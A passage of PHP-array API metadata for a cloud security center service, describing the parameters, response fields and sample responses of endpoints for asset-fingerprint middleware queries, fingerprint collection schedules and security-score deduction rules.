'schema' => [ 'description' => 'The PID.'."\n", 'type' => 'string', 'required' => false, 'example' => '756', ], ], [ 'name' => 'ProcessStartedStart', 'in' => 'query', 'schema' => [ 'description' => 'The timestamp when the process starts. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1641024565', ], ], [ 'name' => 'ProcessStartedEnd', 'in' => 'query', 'schema' => [ 'description' => 'The timestamp when the process ends. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1641110965', ], ], [ 'name' => 'ScaNamePattern', 'in' => 'query', 'schema' => [ 'description' => 'The name of the process.'."\n", 'type' => 'string', 'required' => false, 'example' => 'open', ], ], [ 'name' => 'UseNextToken', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to use the NextToken method to retrieve a new page of results. If you set UseNextToken to true, the value of TotalCount is not returned. Valid values:'."\n" ."\n" .'- **true**: The NextToken method is used.'."\n" .'- **false**: The NextToken method is not used.', 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'NextToken', 'in' => 'query', 'schema' => [ 'description' => 'The value of NextToken that is returned when the NextToken method is used. You do not need to specify this parameter for the first request.', 'type' => 'string', 'required' => false, 'example' => 'AAAAAV3MpHK1AP0pfERHZN5pu6k+AtdhNE3kgQEK36GujZ5on+tWdc+4WoaoMP/kUNxxxx', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'F9146867-16C8-4AAB-BB4FB8C2A4', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: **10**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'NextToken' => [ 'description' => 'The value of NextToken that is returned when the NextToken method is used.', 'type' => 'string', 'example' => 'B60***', ], ], ], 'Propertys' => [ 'description' => 'The details about the asset fingerprints returned.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the middleware, database, or web service.'."\n", 'type' => 'string', 'example' => 'library', ], 'BizTypeDispaly' => [ 'description' => 'The display name of the type of the middleware, database, or web service . Valid values:'."\n" ."\n" .'* System service'."\n" .'* Software library'."\n" .'* Container component'."\n" .'* Database'."\n" .'* Web container'."\n" .'* JAR package'."\n" .'* Web framework'."\n", 'type' => 'string', 'example' => 'System Service', ], 'ProcessStarted' => [ 'description' => 'The timestamp when the process starts. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1596539788', ], 'InternetIp' => [ 'description' => 'The public IP address of the server on which the middleware, database, or web service is run.'."\n", 'type' => 'string', 'example' => '47.42.XX.XX', ], 'ConfigPath' => [ 'description' => 'The path to the configuration file.'."\n", 'type' => 'string', 'example' => '/etc/my.cnf', ], 'Pid' => [ 'description' => 'The PID.'."\n", 'type' => 'string', 'example' => '756', ], 'Port' => [ 'description' => 'The port of the middleware, database, or web service.'."\n", 'type' => 'string', 'example' => '68', ], 'Cmdline' => [ 'description' => 'The command line of the process.'."\n", 'type' => 'string', 'example' => '/sbin/dhclient -H iz2zeflhhbtk8gtxzt087az -1 -q -lf /var/lib/dhclient/dhclient--eth0.lease -pf /var/run/dhclient-eth0.pid eth0', ], 'BizType' => [ 'description' => 'The type of the middleware, database, or web service. Valid values:'."\n" ."\n" .'* **system_service**: system service'."\n" .'* **software_library**: software library'."\n" .'* **docker_component**: container component'."\n" .'* **database**: database'."\n" .'* **web_container**: web container'."\n" .'* **jar**: JAR package'."\n" .'* **web_framework**: web framework'."\n", 'type' => 'string', 'example' => 'software_library', ], 'ListenIp' => [ 'description' => 'The IP address that the process monitors.'."\n", 'type' => 'string', 'example' => '0.0.XX.XX', ], 'Version' => [ 'description' => 'The version of the middleware, database, or web service.'."\n", 'type' => 'string', 'example' => '1.0.2k', ], 'InstanceName' => [ 'description' => 'The name of the server on which the middleware, database, or web service is run.'."\n", 'type' => 'string', 'example' => 'Test01', ], 'ListenStatus' => [ 'description' => 'The listening status of the process. Valid values:'."\n" ."\n" .'* **NONE**: not listening'."\n" .'* **LISTEN**: listening'."\n", 'type' => 'string', 'example' => 'NONE', ], 'Name' => [ 'description' => 'The name of the middleware, database, or web service.'."\n", 'type' => 'string', 'example' => 'openssl', ], 'Ip' => [ 'description' => 'The public IP address of the server on which the middleware, database, or web service is run.'."\n", 'type' => 'string', 'example' => '47.42.XX.XX', ], 'ProcessUser' => [ 'description' => 'The name of the user who runs the process.'."\n", 'type' => 'string', 'example' => 'root', ], 'InstanceId' => [ 'description' => 'The ID of the server on which the middleware, database, or web service is run.'."\n", 'type' => 'string', 'example' => 'i-2zeclqj7ti****', ], 'WebPath' => [ 'description' => 'The web directory.'."\n", 'type' => 'string', 'example' => '/usr/share/nginx/html', ], 'Ppid' => [ 'description' => 'The ID of the parent process.'."\n", 'type' => 'string', 'example' => '1', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server on which the middleware, database, or web service is run.'."\n", 'type' => 'string', 'example' => '192.210.XX.XX', ], 'Uuid' => [ 'description' => 'The UUID of the server on which the middleware, database, or web service is run.'."\n", 'type' => 'string', 'example' => 'uuid-02ebabe7-1c19-a****', ], 'ListenProtocol' => [ 'description' => 'The protocol of the traffic on which the process listens. Valid values:'."\n" ."\n" .'* **UDP**'."\n" .'* **TCP**'."\n", 'type' => 'string', 'example' => 'UDP', ], 'ImageName' => [ 'description' => 'The name of the image.'."\n", 'type' => 'string', 'example' => 'registry-vpc.cn-beijing.aliyuncs.com/acs/aliyun-ingress-controller****', ], 'Path' => [ 'description' => 'The path of the middleware, database, or web service.'."\n", 'type' => 'string', 'example' => '/usr/lib64/libssl.so.1.0.2k', ], 'ContainerName' => [ 'description' => 'The name of the container.'."\n", 'type' => 'string', 'example' => '5-rce_web_1', ], 'Proof' => [ 'description' => 'The version verification information about the middleware, database, or web service.'."\n", 'type' => 'string', 'example' => '/usr/lib64/libssl.so.1.0.2k', ], 'CreateTimestamp' => [ 'description' => 'The latest collection timestamp, which indicates the last timestamp when Security Center collected the information about the middleware, database, or web service. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1597987834000', ], 'RuntimeEnvVersion' => [ 'description' => 'The version of the runtime environment.'."\n" ."\n" .'> The value of this parameter can be the Java Development Kit (JDK) version of the runtime environment for a Java process.'."\n", 'type' => 'string', 'example' => '1.8.0_144', ], 'PodName' => [ 'description' => 'The name of the Kubernetes pod.', 'type' => 'string', 'example' => 'myapp-pod'."\n", ], ], 'description' => '', ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"F9146867-16C8-4AAB-BB4FB8C2A4\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 2,\\n \\"Count\\": 2,\\n \\"NextToken\\": \\"B60***\\"\\n },\\n \\"Propertys\\": [\\n {\\n \\"Type\\": \\"library\\",\\n \\"BizTypeDispaly\\": \\"System Service\\",\\n \\"ProcessStarted\\": 1596539788,\\n \\"InternetIp\\": \\"47.42.XX.XX\\",\\n \\"ConfigPath\\": \\"/etc/my.cnf\\",\\n \\"Pid\\": \\"756\\",\\n \\"Port\\": \\"68\\",\\n \\"Cmdline\\": \\"/sbin/dhclient -H iz2zeflhhbtk8gtxzt087az -1 -q -lf /var/lib/dhclient/dhclient--eth0.lease -pf /var/run/dhclient-eth0.pid eth0\\",\\n \\"BizType\\": \\"software_library\\",\\n \\"ListenIp\\": \\"0.0.XX.XX\\",\\n \\"Version\\": \\"1.0.2k\\",\\n \\"InstanceName\\": \\"Test01\\",\\n \\"ListenStatus\\": \\"NONE\\",\\n \\"Name\\": \\"openssl\\",\\n \\"Ip\\": \\"47.42.XX.XX\\",\\n \\"ProcessUser\\": \\"root\\",\\n \\"InstanceId\\": \\"i-2zeclqj7ti****\\",\\n \\"WebPath\\": \\"/usr/share/nginx/html\\",\\n \\"Ppid\\": \\"1\\",\\n \\"IntranetIp\\": \\"192.210.XX.XX\\",\\n \\"Uuid\\": \\"uuid-02ebabe7-1c19-a****\\",\\n \\"ListenProtocol\\": \\"UDP\\",\\n \\"ImageName\\": \\"registry-vpc.cn-beijing.aliyuncs.com/acs/aliyun-ingress-controller****\\",\\n \\"Path\\": \\"/usr/lib64/libssl.so.1.0.2k\\",\\n \\"ContainerName\\": \\"5-rce_web_1\\",\\n \\"Proof\\": \\"/usr/lib64/libssl.so.1.0.2k\\",\\n \\"CreateTimestamp\\": 1597987834000,\\n \\"RuntimeEnvVersion\\": \\"1.8.0_144\\",\\n \\"PodName\\": \\"hello-pod\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n F9146867-16C8-4AAB-BB4FB8C2A4\\n \\n 1\\n 20\\n 2\\n 2\\n \\n \\n library\\n 软件库\\n 1596539788\\n 47.42.XX.XX\\n /etc/my.cnf\\n 756\\n 68\\n /sbin/dhclient -H iz2zeflhhbtk8gtxzt087az -1 -q -lf /var/lib/dhclient/dhclient--eth0.lease -pf /var/run/dhclient-eth0.pid eth0\\n software_library\\n 0.0.XX.XX\\n 1.0.2k\\n Test01\\n NONE\\n openssl\\n 2020-08-21T13:30Z\\n 47.42.XX.XX\\n root\\n i-2zeclqj7ti****\\n /usr/share/nginx/html\\n 1\\n 192.210.XX.XX\\n uuid-02ebabe7-1c19-a****\\n UDP\\n registry-vpc.cn-beijing.aliyuncs.com/acs/aliyun-ingress-controller****\\n /usr/lib64/libssl.so.1.0.2k\\n 5-rce_web_1\\n /usr/lib64/libssl.so.1.0.2k\\n 1597987834000\\n \\n","errorExample":""}]', 'title' => 'Query Asset Fingerprint Middleware List Details', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', 'translator' => 'machine', ], 'ModifyPropertyScheduleConfig' => [ 'summary' => 'Modifies the collection frequency of asset fingerprints for an automatic periodic collection task.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '92381', 'abilityTreeNodes' => [ 'FEATUREsasGC725T', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the asset fingerprints for which you want to modify the collection frequency. Valid values:'."\n" ."\n" .'* **scheduler_port_period**: listening port'."\n" .'* **scheduler_process_period**: running process'."\n" .'* **scheduler_account_period**: account'."\n" .'* **scheduler_software_period**: software'."\n" .'* **scheduler_cron_period**: scheduled task'."\n" .'* **scheduler_sca_period**: middleware, database, or web service'."\n" .'* **scheduler_autorun_period**: startup item'."\n" .'* **scheduler_lkm_period**: kernel module'."\n" .'* **scheduler_sca_proxy_period**: website'."\n", 'type' => 'string', 'required' => true, 'example' => 'scheduler_port_period', ], ], [ 'name' => 'ScheduleTime', 'in' => 'query', 'schema' => [ 'description' => 'The new collection frequency of asset fingerprints. Valid values:'."\n" ."\n" .'* **0**: disabled, which indicates that the asset fingerprints are not automatically or periodically collected.'."\n" .'* **1**: collects asset fingerprints once an hour.'."\n" .'* **3**: collects asset fingerprints once every 3 hours.'."\n" .'* **12**: collects asset fingerprints once every 12 hours.'."\n" .'* **24**: collects asset fingerprints once a day.'."\n" .'* **168**: collects asset fingerprints once every 7 days.'."\n", 'type' => 'string', 'required' => true, 'example' => '3', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'ModifyResult' => [ 'description' => 'Indicates whether the collection frequency of asset fingerprints is modified. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'example' => 'true', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'C0D1DF51-D879-55A8-B6C7-7D3B913EF34D', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"ModifyResult\\": true,\\n \\"RequestId\\": \\"C0D1DF51-D879-55A8-B6C7-7D3B913EF34D\\"\\n}","errorExample":""},{"type":"xml","example":"\\n true\\n C0D1DF51-D879-55A8-B6C7-7D3B913EF34D\\n","errorExample":""}]', 'title' => 'ModifyPropertyScheduleConfig', ], 'DescribePropertyScheduleConfig' => [ 'summary' => 'Queries the configurations of scheduled tasks of asset fingerprint collection.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the asset fingerprints. Valid values:'."\n" ."\n" .'* **scheduler_port_period**: listening port'."\n" .'* **scheduler_process_period**: running process'."\n" .'* **scheduler_account_period**: account'."\n" .'* **scheduler_software_period**: software'."\n" .'* **scheduler_cron_period**: scheduled task'."\n" .'* **scheduler_sca_period**: middleware'."\n" .'* **scheduler_autorun_period**: startup item'."\n" .'* **scheduler_lkm_period**: kernel module'."\n" .'* **scheduler_sca_proxy_period**: website'."\n", 'type' => 'string', 'required' => true, 'enumValueTitles' => [], 'example' => 'scheduler_autorun_period', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The configuration.'."\n", 'type' => 'object', 'properties' => [ 'Config' => [ 'description' => 'The configuration time. Unit: hours.'."\n" ."\n" .'> A value **0** indicates that asset fingerprint collection is disabled for this type of asset.'."\n", 'type' => 'string', 'example' => '3', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Config\\": \\"3\\",\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\"\\n}","type":"json"}]', 'title' => 'DescribePropertyScheduleConfig', ], 'GetSecurityScoreRule' => [ 'summary' => 'Queries the details of the deduction modules of the security score feature, including custom settings.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '182574', 'abilityTreeNodes' => [ 'FEATUREsasJODUMM', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese.'."\n" .'* **en**: English.'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'CalType', 'in' => 'query', 'schema' => [ 'description' => 'The old or new version of the security score rule. If you set this parameter to **home_security_score**, the new version of the security score rule is returned. Otherwise, the old version of the security score rule is returned by default.'."\n", 'type' => 'string', 'required' => false, 'example' => 'home_security_score', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', ], 'SecurityScoreRuleList' => [ 'description' => 'The information about the old version of the security score rule.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'RuleType' => [ 'description' => 'The deduction module that is supported by the security score feature. Valid values:'."\n" ."\n" .'* SS_REINFORCE: issue in key feature configuration'."\n" .'* SS_ALARM: unhandled alert'."\n" .'* SS_VUL: unfixed vulnerability'."\n" .'* SS_HC: baseline risk'."\n" .'* SS_CLOUD_HC: risk item of configuration assessment'."\n" .'* SS_AK: risk of AccessKey pair leaks', 'type' => 'string', 'example' => 'SS_ALARM', ], 'Score' => [ 'description' => 'The deduction threshold of the deduction module.'."\n" ."\n" .'> Valid values: 0 to 100. The sum of the deduction thresholds for all deduction modules must be equal to 100.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'Title' => [ 'description' => 'The description of the deduction module.'."\n", 'type' => 'string', 'example' => 'Unhandled Alerts', ], 'SecurityScoreItemList' => [ 'description' => 'The deduction items of the deduction module.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'SubRuleType' => [ 'description' => 'The deduction item of the deduction module. The following list describes the deduction modules and their deduction items:'."\n" ."\n" .'* SS_REINFORCE: issue in key feature configuration'."\n" ."\n" .' * XPRESS_INSTALL: Security Center is not authorized.'."\n" .' * REINFORCE_SUSPICIOUS: The antivirus feature is disabled.'."\n" .' * RANSOMWARE: The anti-ransomware policy is disabled.'."\n" .' * WEB_LOCK: The web tamper proofing feature is disabled.'."\n" .' * VIRUS_SCHEDULE_SCAN: The periodic virus scan policy is disabled.'."\n" .' * IMAGE_REPO_SCAN: The range of container image scan is not configured.'."\n" .' * IMAGE_SCAN_TASK: The feature of one-click scan of container images for security risks is not performed.'."\n" ."\n" .'* SS_ALARM: unhandled alert.'."\n" ."\n" .' * ALARM_SERIOUS: An unhandled high-risk alert event is detected.'."\n" .' * ALARM_SUSPICIOUS: An unhandled medium-risk alarm event is detected.'."\n" .' * ALARM_REMIND: An unhandled low-risk alarm event is detected.'."\n" ."\n" .'* SS_VUL: unfixed vulnerability'."\n" ."\n" .' * CMS_UNFIX: An unfixed Web-CMS vulnerability is detected.'."\n" .' * WIN_UNFIX: An unfixed Windows host vulnerability is detected.'."\n" .' * CVE_UNFIX: An unfixed Linux host vulnerability is detected.'."\n" .' * ERM_UNFIX: An unfixed urgent vulnerability is detected.'."\n" .' * ERM_UNCHECK: An undetected urgent vulnerability exists.'."\n" ."\n" .'* SS_HC: baseline risks'."\n" ."\n" .' * WEAK_EXPLOIT: Weak passwords are exposed to the Internet.'."\n" .' * WEAK_PASSWORD: Weak passwords exist.'."\n" .' * HC_EXPLOIT: The data source may be hacked.'."\n" .' * HC_OTHER_WARNING: Security configuration risks exist.'."\n" ."\n" .'* SS_CLOUD_HC: Cloud platform configuration check item problem.'."\n" ."\n" .' * CSPM_CIEM_NOT_PASS: A CIEM check item failed the check.'."\n" .' * CSPM_RISK_NOT_PASS: A security risk check item failed the check.'."\n" .' * CSPM_COMPLIANCE_NOT_PASS: A compliance check item failed the check.'."\n" ."\n" .'* SS_AK: risk of AccessKey pair leaks'."\n", 'type' => 'string', 'example' => 'ALARM_SERIOUS', ], 'Score' => [ 'description' => 'The penalty point of the deduction item.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'ScoreThreshold' => [ 'description' => 'The threshold for the deduction item.'."\n" ."\n" .'> Valid values: 0 to the deduction threshold of the deduction module.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'Title' => [ 'description' => 'The description of the deduction item in a deduction module.'."\n", 'type' => 'string', 'example' => 'Unhandled Urgent Alert Event Exists', ], ], ], ], ], ], ], 'EnableStatus' => [ 'description' => 'The status of the custom settings of the security score feature.'."\n" ."\n" .'* true: enabled'."\n" .'* false: disabled'."\n", 'type' => 'boolean', 'example' => 'true', ], 'SecurityScoreCategoryList' => [ 'description' => 'The information about the new version of the security score rule.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details of the security score rule.'."\n", 'type' => 'object', 'properties' => [ 'SecurityRuleList' => [ 'description' => 'The deduction items of the security score rule.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The data of the security score rule type.'."\n", 'type' => 'object', 'properties' => [ 'RuleType' => [ 'description' => 'The type of the security score rule.'."\n", 'type' => 'string', 'example' => 'SS_AI_RISK', ], 'Score' => [ 'description' => 'The threshold of deduction for the security score rule type.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'Title' => [ 'description' => 'The name of the security score rule type.'."\n", 'type' => 'string', 'example' => 'AI application risks'."\n", ], 'SecurityScoreItemList' => [ 'description' => 'The sub-deduction items of the security score rule.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The sub-deduction item of the security score rule.'."\n", 'type' => 'object', 'properties' => [ 'SubRuleType' => [ 'description' => 'The type of the sub-deduction item. Valid values:'."\n" ."\n" .'* **SS_SAS_WEAK_PW**: unhandled weak password risk.'."\n" .'* **SS_SAS_ALARM**: unhandled alert in Security Center.'."\n" .'* **SS_SAS_EMG_VUL**: unfixed urgent vulnerability.'."\n" .'* **SS_SAS_APP_VUL**: unfixed application vulnerability.'."\n" .'* **SS_SAS_SYS_VUL**: unfixed system vulnerability.'."\n" .'* **SS_SAS_CLOUD_HC**: unhandled cloud security posture management (CSPM) risk.'."\n" .'* **SS_SDDP_DATA_RISK**: unhandled data security risk.'."\n" .'* **SS_WAF_API_RISK**: unhandled API security risk.'."\n" .'* **SS_DDOS_BH_ASSET**: asset on which blackhole filtering is triggered.'."\n" .'* **SS_SAS_AK_LEAK**: unhandled AK/SK leak event.'."\n" .'* **SS_PRODUCT_CONNECT**: security service not integrated.'."\n" .'* **SS_KEY_CONFIG**: key feature configuration.'."\n" .'* **SS_PRODUCT_EXPIRE**: service that is about to expire.'."\n" .'* **SS_AI_RISK**: AI application risk.'."\n", 'type' => 'string', 'example' => 'SSI_AI_VUL_RISK', ], 'Score' => [ 'description' => 'The deduction score for the item.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'ScoreThreshold' => [ 'description' => 'The threshold of the deduction score for the item.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'Title' => [ 'description' => 'The name of the sub-deduction item of the security score rule.'."\n", 'type' => 'string', 'example' => 'Unfixed application vulnerabilities'."\n", ], ], ], ], ], ], ], 'Category' => [ 'description' => 'The category of the security score rule. Valid values:'."\n" ."\n" .'* **SS_SAS_HANDLE**: security governance.'."\n" .'* **SS_SAS_RESPOND**: security response.'."\n", 'type' => 'string', 'example' => 'SS_SAS_HANDLE', ], 'Score' => [ 'description' => 'The threshold of deduction for the security score rule type.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '30', ], 'Title' => [ 'description' => 'The category of the security score rule.'."\n", 'type' => 'string', 'example' => 'Security governance'."\n", ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\",\\n \\"SecurityScoreRuleList\\": [\\n {\\n \\"RuleType\\": \\"SS_ALARM\\",\\n \\"Score\\": 20,\\n \\"Title\\": \\"Unhandled Alerts\\",\\n \\"SecurityScoreItemList\\": [\\n {\\n \\"SubRuleType\\": \\"ALARM_SERIOUS\\",\\n \\"Score\\": 3,\\n \\"ScoreThreshold\\": 5,\\n \\"Title\\": \\"Unhandled Urgent Alert Event Exists\\"\\n }\\n ]\\n }\\n ],\\n \\"EnableStatus\\": true,\\n \\"SecurityScoreCategoryList\\": [\\n {\\n \\"SecurityRuleList\\": [\\n {\\n \\"RuleType\\": \\"SS_AI_RISK\\",\\n \\"Score\\": 10,\\n \\"Title\\": \\"AI应用风险\\\\n\\",\\n \\"SecurityScoreItemList\\": [\\n {\\n \\"SubRuleType\\": \\"SSI_AI_VUL_RISK\\",\\n \\"Score\\": 5,\\n \\"ScoreThreshold\\": 10,\\n \\"Title\\": \\"存在未修复应用漏洞\\"\\n }\\n ]\\n }\\n ],\\n \\"Category\\": \\"SS_SAS_HANDLE\\",\\n \\"Score\\": 30,\\n \\"Title\\": \\"安全治理\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'GetSecurityScoreRule', ], 'ChangeSecurityScoreRule' => [ 'summary' => 'Modifies the details of the deduction modules of the security score feature, including custom settings.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '182573', 'abilityTreeNodes' => [ 'FEATUREsasJODUMM', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'SecurityScoreRuleList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The information about the old version of the security score rule.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details of the security score rule.'."\n", 'type' => 'object', 'properties' => [ 'RuleType' => [ 'description' => 'The type of the security score rule. Valid values:'."\n" ."\n" .'* SS_REINFORCE: issue in key feature configuration'."\n" .'* SS_ALARM: unhandled alert'."\n" .'* SS_VUL: unfixed vulnerability'."\n" .'* SS_HC: baseline risk'."\n" .'* SS_CLOUD_HC: risk item of configuration assessment'."\n" .'* SS_AK: risk of AccessKey pair leaks'."\n", 'type' => 'string', 'required' => false, 'example' => 'SS_ALARM', ], 'Score' => [ 'description' => 'The deduction threshold of the deduction module.'."\n" ."\n" .'> Valid values: 0 to 100. The sum of the deduction thresholds for all deduction modules must be equal to 100.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'maximum' => '100', 'minimum' => '0', 'example' => '5', ], 'SecurityScoreItemList' => [ 'description' => 'The deduction items of the deduction module.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The deduction item of the deduction module.'."\n", 'type' => 'object', 'properties' => [ 'SubRuleType' => [ 'description' => 'The deduction item of the deduction module. The following list describes the deduction modules and their deduction items:'."\n" ."\n" .'* SS_REINFORCE: issue in key feature configuration'."\n" ."\n" .' * XPRESS_INSTALL: Security Center is not authorized.'."\n" .' * REINFORCE_SUSPICIOUS: The anti-virus feature is disabled.'."\n" .' * RANSOMWARE: The anti-ransomware policy is disabled.'."\n" .' * WEB_LOCK: The web tamper proofing feature is disabled.'."\n" .' * VIRUS_SCHEDULE_SCAN: The periodic virus scan policy is disabled.'."\n" .' * IMAGE_REPO_SCAN: The container image scan range is not configured.'."\n" .' * IMAGE_SCAN_TASK: The feature of one-click scan of container images for security risks is not performed.'."\n" ."\n" .'* SS_ALARM: unhandled alert'."\n" ."\n" .' * ALARM_SERIOUS: An unhandled high-risk alert event is detected.'."\n" .' * ALARM_SUSPICIOUS: An unhandled medium-risk alarm event is detected.'."\n" .' * ALARM_REMIND: An unhandled low-risk alarm event is detected.'."\n" ."\n" .'* SS_VUL: unfixed vulnerability'."\n" ."\n" .' * CMS_UNFIX: An unfixed Web-CMS vulnerability is detected.'."\n" .' * WIN_UNFIX: An unfixed Windows host vulnerability is detected.'."\n" .' * CVE_UNFIX: An unfixed Linux host vulnerability is detected.'."\n" .' * ERM_UNFIX: An unfixed emergency vulnerability is detected.'."\n" .' * ERM_UNCHECK: An undetected emergency vulnerability exists.'."\n" ."\n" .'* SS_HC: baseline risk'."\n" ."\n" .' * WEAK_EXPLOIT: Weak passwords are exposed to the Internet.'."\n" .' * WEAK_PASSWORD: Weak passwords exist.'."\n" .' * HC_EXPLOIT: The data source may be hacked.'."\n" .' * HC_OTHER_WARNING: Security configuration risks exist.'."\n" ."\n" .'* SS_CLOUD_HC: Cloud platform configuration check item problem.'."\n" ."\n" .' * CSPM_CIEM_NOT_PASS: A CIEM check item failed the check.'."\n" .' * CSPM_RISK_NOT_PASS: A security risk check item failed the check.'."\n" .' * CSPM_COMPLIANCE_NOT_PASS: A compliance check item failed the check.'."\n" ."\n" .'* SS_AK: risk of AccessKey pair leaks'."\n", 'type' => 'string', 'required' => false, 'example' => 'ALARM_SERIOUS', ], 'ScoreThreshold' => [ 'description' => 'The threshold for the deduction item.'."\n" ."\n" .'> Valid values: 0 to the deduction threshold of the deduction module.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'maximum' => '100', 'minimum' => '0', 'example' => '10', ], 'Score' => [ 'description' => 'The penalty point of the deduction item.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '5', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 100, ], ], 'required' => false, ], 'required' => false, 'maxItems' => 10, ], ], [ 'name' => 'SecurityScoreCategoryList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The information about the new version of the security score rule.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details of the security score rule.'."\n", 'type' => 'object', 'properties' => [ 'Category' => [ 'description' => 'The category of the security score rule. Valid values:'."\n" ."\n" .'* **SS_SAS_HANDLE**: security 